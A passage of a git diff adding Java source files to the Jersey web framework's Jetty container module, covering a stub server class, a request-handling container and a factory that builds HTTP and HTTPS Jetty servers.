+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+ private final JettyHttpContainer container;
+
+ private final org.eclipse.jetty.server.Server httpServer;
+
+ JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+ }
+
+ JettyHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JettyHttpContainer(applicationClass), configuration);
+ }
+
+ JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final JettyHttpContainer container() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final int port() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 0000000..e43816b
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,465 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.io.OutputStream;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.Principal;
+import java.util.List;
+import java.util.Map;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.SecurityContext;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.io.Content;
+import org.eclipse.jetty.security.AuthenticationState;
+import org.eclipse.jetty.server.Handler;
+import org.eclipse.jetty.util.Callback;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.ExtendedLogger;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer extends Handler.Abstract implements Container {
+
+ private static final ExtendedLogger LOGGER =
+ new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
+
+ private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
+ private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
+
+ private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
+
+ /**
+ * Cached value of configuration property
+ * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+ * If {@code true} method {@link Response#setStatus(int)} is used over {@link Response#writeError(Request, Response, Callback, int)}
+ */
+ private boolean configSetStatusOverSendError;
+
+ /**
+ * Referencing factory for Jetty request.
+ */
+ private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
+ @Inject
+ public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * Referencing factory for Jetty response.
+ */
+ private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
+ @Inject
+ public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * An internal binder to enable Jetty HTTP container specific types injection.
+ * This binder allows to inject underlying Jetty HTTP request and response instances.
+ * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
+ * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
+ * {@link jakarta.inject.Provider injection provider}.
+ */
+ private static class JettyBinder extends AbstractBinder {
+
+ @Override
+ protected void configure() {
+ bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
+ .in(RequestScoped.class);
+
+ bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
+ .in(RequestScoped.class);
+ }
+ }
+
+ private volatile ApplicationHandler appHandler;
+
+ @Override
+ public boolean handle(Request request, Response response, Callback callback) throws Exception {
+
+ final ResponseWriter responseWriter = new ResponseWriter(request, response, callback, configSetStatusOverSendError);
+ try {
+ LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
+ final URI baseUri = getBaseUri(request);
+ final URI requestUri = getRequestUri(request, baseUri);
+ final ContainerRequest requestContext = new ContainerRequest(
+ baseUri,
+ requestUri,
+ request.getMethod(),
+ getSecurityContext(request),
+ new MapPropertiesDelegate(),
+ appHandler.getConfiguration());
+ requestContext.setEntityStream(Request.asInputStream(request));
+ request.getHeaders().forEach(httpField ->
+ requestContext.headers(httpField.getName(), httpField.getValue() == null ? "" : httpField.getValue()));
+ requestContext.setWriter(responseWriter);
+ requestContext.setRequestScopedInitializer(injectionManager -> {
+ injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
+ injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
+ });
+
+ appHandler.handle(requestContext);
+ return true;
+ } catch (URISyntaxException e) {
+ setResponseForInvalidUri(request, response, callback, e);
+ return true;
+ } catch (final Exception ex) {
+ callback.failed(ex);
+ throw new RuntimeException(ex);
+ }
+ }
+
+ private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+ final String serverAddress = getServerAddress(baseUri);
+ String uri = request.getHttpURI().getPath();
+
+ final String queryString = request.getHttpURI().getQuery();
+ if (queryString != null) {
+ uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+ }
+
+ return new URI(serverAddress + uri);
+ }
+
+ private void setResponseForInvalidUri(final Request request, final Response response,
+ final Callback callback, final Throwable throwable) {
+ LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+ if (configSetStatusOverSendError) {
+ response.reset();
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
+ callback.failed(throwable);
+ } else {
+ Response.writeError(request, response, callback, BAD_REQUEST_STATUS.getStatusCode(),
+ BAD_REQUEST_STATUS.getReasonPhrase(), throwable);
+ }
+ }
+
+ private String getServerAddress(URI baseUri) {
+ String serverAddress = baseUri.toString();
+ if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
+ return serverAddress.substring(0, serverAddress.length() - 1);
+ }
+ return serverAddress;
+ }
+
+ private SecurityContext getSecurityContext(final Request request) {
+
+ AuthenticationState.Succeeded authenticationState = AuthenticationState.authenticate(request);
+
+ return new SecurityContext() {
+
+ @Override
+ public boolean isUserInRole(final String role) {
+ return authenticationState != null && authenticationState.isUserInRole(role);
+ }
+
+ @Override
+ public boolean isSecure() {
+ return request.isSecure();
+ }
+
+ @Override
+ public Principal getUserPrincipal() {
+ return authenticationState != null ? authenticationState.getUserIdentity().getUserPrincipal() : null;
+ }
+
+ @Override
+ public String getAuthenticationScheme() {
+ return authenticationState != null ? authenticationState.getAuthenticationType() : null;
+ }
+ };
+ }
+
+
+ private URI getBaseUri(final Request request) throws URISyntaxException {
+ return new URI(request.getHttpURI().getScheme(), null, Request.getServerName(request),
+ Request.getServerPort(request), getBasePath(request), null, null);
+ }
+
+ private String getBasePath(final Request request) {
+ final String contextPath = Request.getContextPath(request);
+
+ if (contextPath == null || contextPath.isEmpty()) {
+ return "/";
+ } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
+ return contextPath + "/";
+ } else {
+ return contextPath;
+ }
+ }
+
+ private static final class ResponseWriter implements ContainerResponseWriter {
+
+ private final Request request;
+ private final Response response;
+ private final Callback callback;
+ private final boolean configSetStatusOverSendError;
+ private final Timer timer = new Timer();
+ private final long asyncStartTimeMillis;
+ private final ConcurrentLinkedQueue<TimeoutHandler> timeoutHandlerQueue = new ConcurrentLinkedQueue<>();
+ private TimerTask currentTimerTask;
+
+ ResponseWriter(final Request request, final Response response, final Callback callback,
+ final boolean configSetStatusOverSendError) {
+ this.request = request;
+ this.response = response;
+ this.callback = callback;
+ this.asyncStartTimeMillis = System.currentTimeMillis();
+ this.configSetStatusOverSendError = configSetStatusOverSendError;
+ }
+
+ private synchronized void setNewTimeout(long timeOut, TimeUnit timeUnit) {
+ long timeOutMillis = timeUnit.toMillis(timeOut);
+ if (currentTimerTask != null) {
+ currentTimerTask.cancel();
+ }
+ currentTimerTask = new TimerTask() {
+ @Override
+ public void run() {
+ timeoutHandlerQueue.forEach(timeoutHandler -> timeoutHandler.onTimeout(ResponseWriter.this));
+ }
+ };
+ timer.schedule(currentTimerTask, Math.max(0, timeOutMillis + asyncStartTimeMillis - System.currentTimeMillis()));
+ }
+
+ @Override
+ public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
+ throws ContainerException {
+
+ final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
+
+ final int code = statusInfo.getStatusCode();
+
+ response.setStatus(code);
+
+ if (contentLength != -1 && contentLength < Integer.MAX_VALUE && !"HEAD".equals(request.getMethod())) {
+ response.getHeaders().add(new HttpField(HttpHeader.CONTENT_LENGTH, String.valueOf((int) contentLength)));
+ }
+ for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
+ for (final String value : e.getValue()) {
+ response.getHeaders().add(new HttpField(e.getKey(), value));
+ }
+ }
+
+ return Content.Sink.asOutputStream(response);
+ }
+
+ @Override
+ public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
+ if (timeOut > 0) {
+ setNewTimeout(timeOut, timeUnit);
+ }
+ if (timeoutHandler != null) {
+ timeoutHandlerQueue.add(timeoutHandler);
+ }
+ return true;
+ }
+
+ @Override
+ public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
+ if (timeOut > 0) {
+ setNewTimeout(timeOut, timeUnit);
+ }
+ }
+
+ @Override
+ public void commit() {
+ callback.succeeded();
+ LOGGER.log(Level.FINEST, "commit() called");
+ }
+
+ @Override
+ public void failure(final Throwable error) {
+ try {
+ if (!response.isCommitted()) {
+ try {
+ if (configSetStatusOverSendError) {
+ response.reset();
+ response.setStatus(INTERNAL_SERVER_ERROR);
+ callback.failed(error);
+ } else {
+ Response.writeError(request, response, callback, INTERNAL_SERVER_ERROR, "Request failed.", error);
+ }
+ } catch (final IllegalStateException ex) {
+ // a race condition externally committing the response can still occur...
+ LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
+ }
+ }
+ } finally {
+ LOGGER.log(Level.FINEST, "failure(...) called");
+ rethrow(error);
+ }
+ }
+
+ @Override
+ public boolean enableResponseBuffering() {
+ return false;
+ }
+
+ /**
+ * Rethrow the original exception as required by JAX-RS, 3.3.4.
+ *
+ * @param error throwable to be re-thrown
+ */
+ private void rethrow(final Throwable error) {
+ if (error instanceof RuntimeException) {
+ throw (RuntimeException) error;
+ } else {
+ throw new ContainerException(error);
+ }
+ }
+
+ }
+
+ @Override
+ public ResourceConfig getConfiguration() {
+ return appHandler.getConfiguration();
+ }
+
+ @Override
+ public void reload() {
+ reload(new ResourceConfig(getConfiguration()));
+ }
+
+ @Override
+ public void reload(final ResourceConfig configuration) {
+ appHandler.onShutdown(this);
+
+ appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
+ appHandler.onReload(this);
+ appHandler.onStartup(this);
+ cacheConfigSetStatusOverSendError();
+ }
+
+ @Override
+ public ApplicationHandler getApplicationHandler() {
+ return appHandler;
+ }
+
+ /**
+ * Inform this container that the server has been started.
+ * This method must be implicitly called after the server containing this container is started.
+ *
+ * @throws java.lang.Exception if a problem occurred during server startup.
+ */
+ @Override
+ protected void doStart() throws Exception {
+ super.doStart();
+ appHandler.onStartup(this);
+ }
+
+ /**
+ * Inform this container that the server is being stopped.
+ * This method must be implicitly called before the server containing this container is stopped.
+ *
+ * @throws java.lang.Exception if a problem occurred during server shutdown.
+ */
+ @Override
+ public void doStop() throws Exception {
+ super.doStop();
+ appHandler.onShutdown(this);
+ appHandler = null;
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ */
+ JettyHttpContainer(final Application application, final Object parentContext) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Application application) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Class<? extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * The method reads and caches value of configuration property
+ * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+ */
+ private void cacheConfigSetStatusOverSendError() {
+ this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
+ ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 0000000..26a4b79
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,305 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.util.concurrent.ThreadFactory;
+
+import jakarta.ws.rs.ProcessingException;
+
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.SecureRequestCustomizer;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * <p/>
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+ private JettyHttpContainerFactory() {
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri) throws ProcessingException {
+ return createServer(uri, null, null, true);
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+ return createServer(uri, null, null, start);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config)
+ throws ProcessingException {
+
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, null, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+ final ResourceConfig config)
+ throws ProcessingException {
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, sslContextFactory, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ */
+ public static Server createServer(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+ if (uri == null) {
+ throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
+ }
+ final String scheme = uri.getScheme();
+ int defaultPort = Container.DEFAULT_HTTP_PORT;
+
+ if (sslContextFactory == null) {
+ if (!"http".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
+ }
+ } else {
+ if (!"https".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
+ }
+ defaultPort = Container.DEFAULT_HTTPS_PORT;
+ }
+ final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
+
+ final Server server = new Server(new JettyConnectorThreadPool());
+ final HttpConfiguration config = new HttpConfiguration();
+ if (sslContextFactory != null) {
+ config.setSecureScheme("https");
+ config.setSecurePort(port);
+ config.addCustomizer(new SecureRequestCustomizer());
+
+ final ServerConnector https = new ServerConnector(server,
+ new SslConnectionFactory(sslContextFactory, "http/1.1"),
+ new HttpConnectionFactory(config));
+ https.setPort(port);
+ server.setConnectors(new Connector[]{https});
+
+ } else {
+ final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
+ http.setPort(port);
+ server.setConnectors(new Connector[]{http});
+ }
+ if (handler != null) {
+ server.setHandler(handler);
+ }
+
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
+ // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
+ //
+ // Keeping this for backwards compatibility for the time being
+ private static final class JettyConnectorThreadPool extends QueuedThreadPool {
+ private final ThreadFactory threadFactory = new ThreadFactoryBuilder()
+ .setNameFormat("jetty-http-server-%d")
+ .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
+ .build();
+
+ @Override
+ public Thread newThread(Runnable runnable) {
+ return threadFactory.newThread(runnable);
+ }
+ }
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..9734342
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
